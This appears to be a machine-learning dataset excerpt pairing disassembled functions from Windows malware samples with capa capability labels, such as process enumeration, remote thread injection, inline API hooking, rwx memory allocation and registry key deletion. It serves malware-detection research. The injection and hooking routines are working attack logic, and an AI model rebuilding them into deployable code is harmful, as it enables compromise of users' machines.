joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100029d6
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push edx
push ecx
push edi
push esi
mov dword [ebp - 0x110], 0
push 0x104
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
or eax, eax
je 0x10002a79
push 0x3a
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.100017ec
or eax, eax
je 0x10002a79
inc eax
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0
push 0
pop dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov edx, dword [ebp - 0x10c]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
add edx, dword [ebp + 8]
push 0x19
push edx
call fcn.1000299c
add al, 0x61
mov byte [esi], al
inc esi
loop 0x10002a51
mov dword [esi], 0x6578652e
add esi, 4
mov byte [esi], 0
mov dword [ebp - 0x110], 1
mov eax, dword [ebp - 0x110]
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 0xc

Function at 0x10002a88
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push edx
push ecx
push edi
push esi
push 0x104
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
or eax, eax
je 0x10002ba1
push 0x3a
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.100017ec
or eax, eax
je 0x10002ba1
inc eax
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0
push 0
pop dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
lea eax, [ebp - 0x106]
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov edx, dword [ebp - 0x10c]
push 0xffffffffffffffff
push edx
call fcn.1000299c
add eax, dword [ebp + 8]
mov dword [ebp - 0x124], eax
push 0xffff
push edx
call fcn.1000299c
movzx eax, ax
mov dword [ebp - 0x120], eax
push 0xffff
push edx
call fcn.1000299c
movzx eax, ax
mov dword [ebp - 0x11c], eax
push 0xffff
push edx
call fcn.1000299c
movzx eax, ax
mov dword [ebp - 0x118], eax
push 0xffffffffffffffff
push edx
call fcn.1000299c
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x114], eax
push 0xffff
push edx
call fcn.1000299c
movzx eax, ax
mov dword [ebp - 0x110], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x118]
push dword [ebp - 0x11c]
push dword [ebp - 0x120]
push dword [ebp - 0x124]
push str._08X__04X__04X__04X__08X_04X
push dword [ebp + 0x10]
call sub.user32.dll_wsprintfA
add esp, 0x20
pop esi
pop edi
pop ecx
pop edx
pop ebx
leave
ret 0xc

Function at 0x10002bf1
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push 1
push 0
call sub.kernel32.dll_CreateMutexA
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x10002c20
push dword [ebp + 0x10]
call fcn.10002bcd
mov eax, 0
jmp 0x10002c33
cmp dword [ebp + 0xc], 1
jne 0x10002c2e
push dword [ebp + 0x10]
call fcn.10002bcd
mov eax, 1
leave
ret 0xc
Function at 0x10002fd7
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push 0
pop dword [ebp - 4]
push 0
pop dword [ebp - 8]
mov ebx, 8
or ebx, 0x20019
or ebx, 0x20006
lea eax, [ebp - 8]
push eax
push ebx
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x1000309b
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegQueryInfoKeyA
or eax, eax
jne 0x1000309b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x10003093
mov dword [ebp - 4], eax
push dword [ebp - 0x10]
pop dword [ebp - 0x14]
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
push 0
push dword [ebp - 8]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
jne 0x10003080
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10002fd7
jmp 0x1000304e
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegDeleteKeyA
push dword [ebp - 4]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 8]
call sub.advapi32.dll_RegCloseKey
leave
ret 8

Function at 0x100034fc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push 0
pop dword [ebp - 0xc]
cmp dword [ebp + 0xc], 0xffffffff
je 0x1000355d
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 4], eax
push dword [ebp + 8]
call fcn.10003cec
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.10003478
cmp eax, 1
jne 0x10003555
push dword [ebp + 8]
call fcn.1000336d
or edx, edx
je 0x10003555
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_ReadFile
push 1
pop dword [ebp - 0xc]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0xc]
leave
ret 8

Function at 0x1000359b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
pop dword [ebp - 4]
cmp dword [ebp + 0xc], 0xffffffff
je 0x100035eb
cmp dword [ebp + 0x10], 4
jne 0x100035c0
push 2
push 0
push 0
push dword [ebp + 0xc]
call sub.kernel32.dll_SetFilePointer
push dword [ebp + 8]
call fcn.1000336d
or edx, edx
je 0x100035e3
mov ebx, eax
push 0
lea eax, [ebp - 8]
push eax
push ebx
push edx
push dword [ebp + 0xc]
call sub.kernel32.dll_WriteFile
push 1
pop dword [ebp - 4]
push dword [ebp + 0xc]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
leave
ret 0xc
Function at 0x100046c7
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x10009341
call sub.kernel32.dll_GetModuleHandleA
cmp eax, 0
je 0x100048b8
mov dword [ebp - 4], eax
push str.ZwQuerySystemInformation
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009364], eax
push str.ZwQueryInformationProcess
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009382], eax
push 0x100093a7
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093a3], eax
push str.LdrGetDllHandle
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093b2], eax
push str.LdrGetProcedureAddress
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093c6], eax
push str.RtlInitUnicodeString
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093e1], eax
push str.RtlUnicodeStringToAnsiString
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100093fa], eax
push str.RtlFreeAnsiString
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x1000941b], eax
push str.ZwQueueApcThread
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x1000947d], eax
push str.ZwQueryInformationThread
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x1000939f], eax
push str.ZwTerminateProcess
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009492], eax
push str.ZwResumeThread
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094a9], eax
push str.RtlInitString
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009431], eax
push str.RtlAnsiStringToUnicodeString
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009443], eax
push str.RtlFreeUnicodeString
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x10009464], eax
push str.ZwProtectVirtualMemory
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094bc], eax
push str.RtlCreateUserThread
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094d7], eax
push str.ZwClose
push dword [ebp - 4]
call sub.kernel32.dll_GetProcAddress
cmp eax, 0
je 0x100048b8
mov dword [0x100094ef], eax
mov eax, 1
leave
ret
mov eax, 0
leave
ret
Function at 0x10004af7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0x40
push 0x3000
push dword [ebp + 0x10]
push 0
push dword [ebp + 8]
call sub.kernel32.dll_VirtualAllocEx
or eax, eax
je 0x10004b30
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 4]
leave
ret 0xc

Function at 0x10004b34
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0
pop dword [ebp - 0xc]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10004af7
or eax, eax
je 0x10004c55
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
call fcn.10004aa3
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10004af7
or eax, eax
je 0x10004c55
mov dword [ebp - 8], eax
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push 0
push 0
push dword [ebp + 8]
call sub.kernel32.dll_CreateRemoteThread
or eax, eax
je 0x10004c55
mov dword [ebp - 0x10], eax
cmp dword [ebp + 0x18], 2
jne 0x10004bb0
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0xc]
jmp 0x10004c55
cmp dword [ebp + 0x18], 0
jne 0x10004bc1
push dword [ebp - 0x10]
pop dword [ebp - 0xc]
jmp 0x10004c55
cmp dword [ebp + 0x18], 1
jne 0x10004c14
push 0xffffffffffffffff
push dword [ebp - 0x10]
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
call sub.kernel32.dll_GetExitCodeThread
or eax, eax
jne 0x10004be6
push 0
pop dword [ebp - 0xc]
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
jmp 0x10004c55
cmp dword [ebp + 0x18], 3
jne 0x10004c55
push 0xffffffffffffffff
push dword [ebp - 0x10]
call sub.kernel32.dll_WaitForSingleObject
push dword [ebp - 0x10]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualFreeEx
push 1
pop dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
leave
ret 0x14
Function at 0x10004f86
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push 0
pop dword [ebp - 4]
push 0x30
lea eax, [ebp - 0x54]
push eax
call fcn.100010ec
push 0x10000000
pop dword [ebp - 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10002560
cmp eax, 0
je 0x10005163
push dword [eax + 0x1c]
pop dword [ebp - 0xc]
push dword [eax + 0x38]
pop dword [ebp - 0x10]
mov eax, dword [ebp - 8]
add eax, 0x10000
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
push 0x40
push 0x3000
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000501a
push 0x8000
push 0
push dword [ebp - 0x14]
call sub.kernel32.dll_VirtualFree
push 0x40
push 0x3000
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push dword [ebp + 8]
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], 0x30000000
jae 0x1000502b
mov eax, dword [ebp - 0x14]
cmp eax, 0
je 0x10004fc4
mov eax, dword [ebp - 0x14]
cmp eax, 0
je 0x10005163
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push dword [ebp + 8]
call fcn.10005491
cmp eax, 0
je 0x10005163
push 0
push dword [ebp - 0x4c]
push dword [ebp - 0x54]
push dword [ebp - 0x14]
push dword [ebp + 8]
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 0
je 0x10005163
push 0x1000517f
call fcn.10004aa3
push eax
push 0x1000517f
push dword [ebp + 8]
call fcn.10004af7
cmp eax, 0
je 0x10005163
mov dword [ebp - 0x48], eax
push 0x100053b2
call fcn.10004aa3
push eax
push 0x100053b2
push dword [ebp + 8]
call fcn.10004af7
cmp eax, 0
je 0x10005163
mov dword [ebp - 0x44], eax
push dword [0x100093a3]
pop dword [ebp - 0x40]
push dword [0x100093b2]
pop dword [ebp - 0x3c]
push dword [0x100093c6]
pop dword [ebp - 0x38]
push dword [0x10009431]
pop dword [ebp - 0x34]
push dword [0x10009443]
pop dword [ebp - 0x30]
push dword [0x10009464]
pop dword [ebp - 0x2c]
push dword [0x100094bc]
pop dword [ebp - 0x28]
cmp dword [ebp + 0xc], 0
je 0x1000514b
push 0x10004f02
call fcn.10004aa3
push eax
push 0x10004f02
push dword [ebp + 8]
call fcn.10004af7
cmp eax, 0
je 0x10005163
mov dword [ebp - 0x20], eax
push 0x30
lea eax, [ebp - 0x54]
push eax
push dword [ebp + 8]
call fcn.10004af7
cmp eax, 0
je 0x10005163
mov dword [ebp - 0x1c], eax
push 0
push 0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call fcn.10004910
mov dword [ebp - 4], eax
jmp 0x10005163
push 3
push 0x30
lea eax, [ebp - 0x54]
push eax
push 0x10004f02
push dword [ebp + 8]
call fcn.10004b34
mov dword [ebp - 4], eax
cmp dword [ebp - 0x54], 0
je 0x10005178
push 0x8000
push 0
push dword [ebp - 0x54]
call sub.kernel32.dll_VirtualFree
mov eax, dword [ebp - 4]
leave
ret 0x10
Function at 0x100055fc
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push 0
pop dword [ebp - 0x28]
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebp - 0x2c], eax
push 0
push 4
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x100056a3
mov dword [ebp - 4], eax
mov eax, 0x1c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_Thread32First
or eax, eax
je 0x10005696
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp eax, dword [ebp + 8]
jne 0x10005685
cmp ebx, dword [ebp - 0x2c]
je 0x10005685
push dword [ebp - 0x1c]
push 0
push 2
call sub.kernel32.dll_OpenThread
or eax, eax
je 0x10005685
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], 0
jne 0x1000566f
push dword [ebp - 8]
call sub.kernel32.dll_SuspendThread
jmp 0x1000567d
cmp dword [ebp + 0xc], 1
jne 0x1000567d
push dword [ebp - 8]
call sub.kernel32.dll_ResumeThread
push dword [ebp - 8]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_Thread32Next
cmp eax, 0
jne 0x1000563c
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push 1
pop dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
leave
ret 8

Function at 0x100056f7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push 0
pop dword [ebp - 0x14]
mov eax, dword [ebp + 0x10]
push 0
pop dword [eax]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0xa
push dword [ebp + 8]
call sub.kernel32.dll_VirtualProtect
or eax, eax
je 0x100057d0
push 5
push dword [ebp + 8]
call fcn.100056c6
mov dword [ebp - 4], eax
or eax, eax
je 0x100057bf
mov eax, 0xa
add eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
push 0x40
push 0x1000
push dword [ebp - 0x18]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x100057bf
mov dword [ebp - 8], eax
mov esi, eax
push dword [ebp + 8]
pop dword [esi]
add esi, 4
mov eax, dword [ebp - 4]
mov byte [esi], al
inc esi
push 0
push dword [ebp - 4]
push esi
push dword [ebp + 8]
call fcn.10001104
add esi, dword [ebp - 4]
mov al, 0xe9
mov byte [esi], al
inc esi
mov eax, dword [ebp + 8]
sub eax, dword [ebp - 8]
sub eax, 0xa
mov dword [esi], eax
mov esi, dword [ebp + 8]
mov al, 0xe9
mov byte [esi], al
inc esi
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp - 8]
add ebx, 5
mov dword [eax], ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x18]
push dword [ebp - 8]
call sub.kernel32.dll_VirtualProtect
push 1
pop dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push 0xa
push dword [ebp + 8]
call sub.kernel32.dll_VirtualProtect
mov eax, dword [ebp - 0x14]
leave
ret 0xc
Function at 0x1000581e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push esi
push edi
push ebx
push ecx
push edx
push 0
pop dword [ebp - 0x18]
cmp dword [ebp + 8], 0
je 0x10005896
mov eax, dword [ebp + 8]
sub eax, 5
mov dword [ebp - 4], eax
mov bl, byte [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], eax
movzx eax, bl
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0x40
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.kernel32.dll_VirtualProtect
or eax, eax
je 0x10005875
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
call fcn.10001104
push 1
pop dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [ebp - 8]
call sub.kernel32.dll_VirtualProtect
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
mov eax, dword [ebp - 0x18]
pop edx
pop ecx
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x1000594b
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push esi
push edi
push ebx
push ecx
push 0
pop dword [ebp - 4]
push 0x10
push dword [ebp + 0xc]
call fcn.100010ec
push dword [ebp + 8]
push 0
push 4
call sub.kernel32.dll_OpenFileMappingA
mov esi, dword [ebp + 0xc]
mov dword [esi], eax
cmp dword [esi], 0
je 0x100059a8
push 0
push 0
push 0
push 4
push dword [esi]
call sub.kernel32.dll_MapViewOfFile
or eax, eax
je 0x100059a8
mov esi, dword [ebp + 0xc]
push dword [eax]
pop dword [esi + 0xc]
add eax, 4
push dword [eax]
pop dword [esi + 8]
add eax, 4
mov dword [esi + 4], eax
push 1
pop dword [ebp - 4]
mov eax, dword [ebp - 4]
pop ecx
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x10005a00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe8c
push esi
push ecx
push edi
push ebx
push edx
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x10005b2d
mov dword [ebp - 0x12c], eax
push 0x128
pop dword [ebp - 0x128]
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.kernel32.dll_Process32First
or eax, eax
je 0x10005b22
mov eax, 0
or eax, eax
jne 0x10005b07
mov eax, dword [ebp - 0x120]
cmp dword [0x10009523], eax
je 0x10005b07
lea eax, [ebp - 0x174]
push eax
push dword [ebp - 0x120]
push 0x1934
call fcn.10002a88
lea eax, [ebp - 0x134]
push eax
push 0
lea eax, [ebp - 0x174]
push eax
call fcn.10002bf1
or eax, eax
je 0x10005b07
lea eax, [ebp - 0x174]
push eax
push dword [ebp - 0x120]
push 0x1401
call fcn.10002a88
lea eax, [ebp - 0x174]
push eax
call fcn.10002baa
or eax, eax
jne 0x10005afb
push dword [ebp - 0x120]
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
or eax, eax
je 0x10005afb
mov dword [ebp - 0x130], eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push dword [ebp - 0x130]
call fcn.10004f86
push dword [ebp - 0x130]
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x134]
push eax
call fcn.10002bcd
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.kernel32.dll_Process32Next
cmp eax, 0
jne 0x10005a4b
push dword [ebp - 0x12c]
call sub.kernel32.dll_CloseHandle
pop edx
pop ebx
pop edi
pop ecx
pop esi
leave
ret 8
Function at 0x401563
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x40158c
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401584
cmp al, 0x22
jne 0x401578
cmp byte [esi], 0x22
jne 0x401596
inc esi
jmp 0x401596
cmp al, 0x20
jle 0x401596
inc esi
cmp byte [esi], 0x20
jg 0x401590
mov al, byte [esi]
test al, al
je 0x4015a0
cmp al, 0x20
jle 0x401589
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.004023ba
push 0x404004
push section..data
call fcn.004023a0
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x4015d0
movzx eax, word [ebp - 0x14]
jmp 0x4015d3
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.004010b0
mov esi, eax
call fcn.004023d2
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x415f60
Capabilities:
Encode data using xor

Disassembly:
dec eax
cmp dword [edx + ecx*8 + 0x578be3f0], esi
inc ebp
test dword [ecx - 0xe], ecx
adc eax, 0x73b27b11
fdivr dword [eax - 0x2a]
rol dword [eax + 0x30], cl
mov eax, dword [0x3971f04]
add edi, edx
cdq
int3
xor dword [0xb8b51b44], edx
push esp
xchg edi, eax
sbb dword [ebp + 0x7c], edx
jl 0x415ef4
jl 0x415ef4
pop ds
mov dword [0x9c4bfb25], eax
out dx, eax
jle 0x415f56
jne 0x415f22
mov dword [0x31dc699a], eax
add al, 0xb
jmp 0x415f74
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 3
and esp, 0xfffffff8
add esp, 4
push 3
call fcn.0046a3d8
pop ecx
push 0x108603c
jmp 0x40255b
call dword [sym.imp.KERNEL32.dll_GetACP]
xor eax, eax
jmp loc.01087727
lea esp, [esp + 4]
jmp 0x401b66
Function at 0x401b88
Capabilities:
Get process heap flags

Disassembly:
lea esp, [esp + 4]
dec edi
jmp 0x4023c8
push edi
push esi
push section..data1
jmp 0x40184e
movzx edi, word [esp + 2]
jmp 0x10875a8
mov eax, dword fs:[0x18]
btc ecx, 8
bsf edi, edi
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx + 0xb0]
xadd dx, dx
btc edi, 0xc
ror dl, 0xd1
movzx edx, word [ecx + 0xac]
bts di, bp
xor eax, 0xfffffffe
stc
btc edi, 0xa5
shl eax, 0xe
bts di, si
sar di, 0xc6
and di, si
or eax, edx
btc di, 0x90
shl eax, 8
bts di, di
add di, bp
or eax, dword [ecx + 0xa8]
shl eax, 8
or eax, dword [ecx + 0xa4]
mov dword [esp], eax
jmp 0x401d62

Function at 0x401bd8
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push ebx
push 0x1086024
jmp loc.010880b2

Function at 0x401fe4
Capabilities:
Parse pe header

Disassembly:
mov dword [0x1084f48], ebx
jmp 0x401b16
lea esp, [esp + 4]
cmp ebx, 0x7d000000
jae 0x401be9
add ebx, 0x1000
jmp 0x4014ed
push ebx
call fcn.00401d78
pop ecx
test eax, eax
je 0x402634
movzx edx, word [ebx]
stc
cmp edx, 0x5a4d
jmp 0x4025ea
ret
jb 0x40187f
nop
jmp 0x1087d99
push ebx
mov ebx, eax
push 0x1086014
jmp 0x40186f
mov eax, ebx
movsx ebx, bx
setne bl
mov bx, bp
pop ebx
jmp 0x401bd2
jne 0x402634
mov edx, dword [0x1084f48]
shrd cx, cx, 0x18
shl cl, 0x68
bt ecx, 0x7b
mov ecx, dword [edx + 0x3c]
and edx, 0x2ac80b1d
rcr dh, 0x6a
stc
lea ecx, [ecx + ebx]
movzx dx, dl
mov dword [0x1084f4c], ecx
shrd edx, ebx, 0x51
xadd dx, dx
stc
movzx edx, word [ecx]
cmp edx, 0x4550
je 0x4021d0
cmp ebx, 0x7d000000
jmp 0x401be3

Function at 0x402050
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push edi
push ebx
sub esp, 0x10
push 0x108602c
jmp loc.01087617